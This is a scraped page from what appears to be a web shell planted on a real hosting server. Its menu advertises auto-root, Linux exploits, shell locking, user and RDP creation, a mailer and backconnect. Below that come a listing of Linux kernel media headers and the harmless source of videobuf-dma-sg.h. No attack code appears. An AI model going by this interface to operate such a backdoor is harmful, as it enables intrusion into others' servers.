Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.71.255.128
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
include /
media /
[ HOME SHELL ]
Name
Size
Permission
Action
davinci
[ DIR ]
drwxr-xr-x
drv-intf
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
tpg
[ DIR ]
drwxr-xr-x
cec-notifier.h
5.03
KB
-rw-r--r--
cec-pin.h
2.79
KB
-rw-r--r--
cec.h
15.3
KB
-rw-r--r--
demux.h
22.69
KB
-rw-r--r--
dmxdev.h
5.89
KB
-rw-r--r--
dvb-usb-ids.h
18.18
KB
-rw-r--r--
dvb_ca_en50221.h
4.35
KB
-rw-r--r--
dvb_demux.h
10.77
KB
-rw-r--r--
dvb_frontend.h
30.03
KB
-rw-r--r--
dvb_math.h
1.77
KB
-rw-r--r--
dvb_net.h
2.34
KB
-rw-r--r--
dvb_ringbuffer.h
8.32
KB
-rw-r--r--
dvb_vb2.h
7.65
KB
-rw-r--r--
dvbdev.h
14.18
KB
-rw-r--r--
frame_vector.h
1.41
KB
-rw-r--r--
hevc-ctrls.h
8.88
KB
-rw-r--r--
imx.h
190
B
-rw-r--r--
media-dev-allocator.h
2.21
KB
-rw-r--r--
media-device.h
16.99
KB
-rw-r--r--
media-devnode.h
5.29
KB
-rw-r--r--
media-entity.h
35.46
KB
-rw-r--r--
media-request.h
11.96
KB
-rw-r--r--
rc-core.h
12.31
KB
-rw-r--r--
rc-map.h
14.36
KB
-rw-r--r--
rcar-fcp.h
1.1
KB
-rw-r--r--
tuner-types.h
7.54
KB
-rw-r--r--
tuner.h
8.4
KB
-rw-r--r--
tveeprom.h
3.29
KB
-rw-r--r--
v4l2-async.h
11.18
KB
-rw-r--r--
v4l2-common.h
18.65
KB
-rw-r--r--
v4l2-ctrls.h
49.66
KB
-rw-r--r--
v4l2-dev.h
16.52
KB
-rw-r--r--
v4l2-device.h
18.52
KB
-rw-r--r--
v4l2-dv-timings.h
9.08
KB
-rw-r--r--
v4l2-event.h
5.99
KB
-rw-r--r--
v4l2-fh.h
4.22
KB
-rw-r--r--
v4l2-flash-led-class.h
5.75
KB
-rw-r--r--
v4l2-fwnode.h
19.8
KB
-rw-r--r--
v4l2-h264.h
2.85
KB
-rw-r--r--
v4l2-image-sizes.h
827
B
-rw-r--r--
v4l2-ioctl.h
33.31
KB
-rw-r--r--
v4l2-jpeg.h
5.08
KB
-rw-r--r--
v4l2-mc.h
7.49
KB
-rw-r--r--
v4l2-mediabus.h
7.51
KB
-rw-r--r--
v4l2-mem2mem.h
28.46
KB
-rw-r--r--
v4l2-rect.h
5.71
KB
-rw-r--r--
v4l2-subdev.h
44.73
KB
-rw-r--r--
videobuf-core.h
6.81
KB
-rw-r--r--
videobuf-dma-contig.h
909
B
-rw-r--r--
videobuf-dma-sg.h
2.79
KB
-rw-r--r--
videobuf-vmalloc.h
1.14
KB
-rw-r--r--
videobuf2-core.h
48.25
KB
-rw-r--r--
videobuf2-dma-contig.h
883
B
-rw-r--r--
videobuf2-dma-sg.h
698
B
-rw-r--r--
videobuf2-dvb.h
1.82
KB
-rw-r--r--
videobuf2-memops.h
1.08
KB
-rw-r--r--
videobuf2-v4l2.h
14.01
KB
-rw-r--r--
videobuf2-vmalloc.h
509
B
-rw-r--r--
vsp1.h
3.57
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : videobuf-dma-sg.h
/* SPDX-License-Identifier: GPL-2.0-only */ /* * helper functions for SG DMA video4linux capture buffers * * The functions expect the hardware being able to scatter gather * (i.e. the buffers are not linear in physical memory, but fragmented * into PAGE_SIZE chunks). They also assume the driver does not need * to touch the video data. * * (c) 2007 Mauro Carvalho Chehab, <mchehab@kernel.org> * * Highly based on video-buf written originally by: * (c) 2001,02 Gerd Knorr <kraxel@bytesex.org> * (c) 2006 Mauro Carvalho Chehab, <mchehab@kernel.org> * (c) 2006 Ted Walther and John Sokol */ #ifndef _VIDEOBUF_DMA_SG_H #define _VIDEOBUF_DMA_SG_H #include <media/videobuf-core.h> /* --------------------------------------------------------------------- */ /* * A small set of helper functions to manage buffers (both userland * and kernel) for DMA. * * videobuf_dma_init_*() * creates a buffer. The userland version takes a userspace * pointer + length. The kernel version just wants the size and * does memory allocation too using vmalloc_32(). * * videobuf_dma_*() * see Documentation/core-api/dma-api-howto.rst, these functions to * basically the same. The map function does also build a * scatterlist for the buffer (and unmap frees it ...) * * videobuf_dma_free() * no comment ... * */ struct videobuf_dmabuf { u32 magic; /* for userland buffer */ int offset; size_t size; struct page **pages; /* for kernel buffers */ void *vaddr; struct page **vaddr_pages; dma_addr_t *dma_addr; struct device *dev; /* for overlay buffers (pci-pci dma) */ dma_addr_t bus_addr; /* common */ struct scatterlist *sglist; int sglen; unsigned long nr_pages; int direction; }; struct videobuf_dma_sg_memory { u32 magic; /* for mmap'ed buffers */ struct videobuf_dmabuf dma; }; /* * Scatter-gather DMA buffer API. * * These functions provide a simple way to create a page list and a * scatter-gather list from a kernel, userspace of physical address and map the * memory for DMA operation. * * Despite the name, this is totally unrelated to videobuf, except that * videobuf-dma-sg uses the same API internally. */ int videobuf_dma_free(struct videobuf_dmabuf *dma); int videobuf_dma_unmap(struct device *dev, struct videobuf_dmabuf *dma); struct videobuf_dmabuf *videobuf_to_dma(struct videobuf_buffer *buf); void *videobuf_sg_alloc(size_t size); void videobuf_queue_sg_init(struct videobuf_queue *q, const struct videobuf_queue_ops *ops, struct device *dev, spinlock_t *irqlock, enum v4l2_buf_type type, enum v4l2_field field, unsigned int msize, void *priv, struct mutex *ext_lock); #endif /* _VIDEOBUF_DMA_SG_H */
Close